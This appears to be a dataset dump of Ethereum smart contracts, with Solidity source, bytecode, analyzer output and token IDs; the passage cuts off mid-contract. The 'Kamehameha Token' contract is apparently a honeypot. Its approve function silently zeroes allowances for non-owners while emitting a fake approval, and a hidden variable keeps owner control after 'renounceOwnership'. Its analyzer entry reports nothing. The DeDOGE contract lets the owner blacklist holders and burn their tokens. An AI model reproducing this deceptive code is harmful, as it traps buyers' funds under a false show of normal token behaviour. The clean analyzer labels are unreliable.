2602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b61311360008383612876565b61316481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061289590919063ffffffff16565b5061317b818360026128af9092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b60606131fe848460008561322a565b90509392505050565b600080836001016000848152602001908152602001600020541415905092915050565b606082471015613285576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806136126026913960400191505060405180910390fd5b61328e856131dc565b613300576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b6020831061334f578051825260208201915060208101905060208303925061332c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146133b1576040519150601f19603f3d011682016040523d82523d6000602084013e6133b6565b606091505b50915091506133c68282866133d2565b92505050949350505050565b606083156133e257829050613497565b6000835111156133f55782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561345c578082015181840152602081019050613441565b50505050905090810190601f1680156134895780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826134d4576000855561351b565b82601f106134ed57805160ff191683800117855561351b565b8280016001018555821561351b579182015b8281111561351a5782518255916020019190600101906134ff565b5b509050613528919061352c565b5090565b5b8082111561354557600081600090555060010161352d565b509056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373507572636861736520776f756c6420657863656564206d617820737570706c79206f6620546f6b656e734552433732313a207472616e7366657220746f20746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e6473536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732314d657461646174613a2055524920736574206f66206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a26469706673582212207237c20883df1802affa9cfc7eb9d810d44bb12e5740d29bce78115608cd1e4164736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
6305,
21472,
9818,
17914,
10354,
2497,
2629,
2094,
15136,
24434,
17134,
14526,
26976,
2050,
2692,
2509,
2497,
22022,
2620,
2063,
18827,
2497,
16409,
2509,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5840,
1011,
2570,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,485 | 0x953afab803b910d50894d80098ec2c646e798b05 | /*
✋🏻💥Kamehameha Token🤚🏻
🔥🔥100% stealth Launch 📈
The Kamehameha is the first energy attack shown in the Dragon Ball series.
The Kamehameha is the most widely used finishing attack in the Dragon Ball series.
☀️
Tokenomics
Supply: 100,000,000
💎Tax: 9%
3% Advertising/Dev Team
3% Reflections
3% Products design
🔁Reflections - Holders receive
📊Website : after launch 🚀
Liq lock🔒: 1week and we will extend after 300k MarketCap
Tg: @Kamehamehatokenerc20
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Kamehameha is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**6 * 10**18;
string private _name = 'Kamehameha Token ';
string private _symbol = 'Kamehameha';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204f5144467f9c3aee5274aa512ecad651c9bf16c18e4047dcd97ce6a51fa7dc2c64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
10354,
7875,
17914,
2509,
2497,
2683,
10790,
2094,
12376,
2620,
2683,
2549,
2094,
17914,
2692,
2683,
2620,
8586,
2475,
2278,
21084,
2575,
2063,
2581,
2683,
2620,
2497,
2692,
2629,
1013,
1008,
100,
100,
100,
1003,
22150,
4888,
100,
1996,
27829,
11106,
14074,
3270,
2003,
1996,
2034,
2943,
2886,
3491,
1999,
1996,
5202,
3608,
2186,
1012,
1996,
27829,
11106,
14074,
3270,
2003,
1996,
2087,
4235,
2109,
5131,
2886,
1999,
1996,
5202,
3608,
2186,
1012,
100,
19204,
25524,
4425,
1024,
2531,
1010,
2199,
1010,
2199,
100,
1024,
1023,
1003,
1017,
1003,
6475,
1013,
16475,
2136,
1017,
1003,
16055,
1017,
1003,
3688,
2640,
100,
1011,
13304,
4374,
100,
1024,
2044,
4888,
100,
5622,
4160,
100,
1024,
1015,
28075,
1998,
2057,
2097,
7949,
2044,
3998,
2243,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,486 | 0x953afc07bbf5c2dd247aecce72e449cd5b4b3d9a | /*
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DeDOGE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
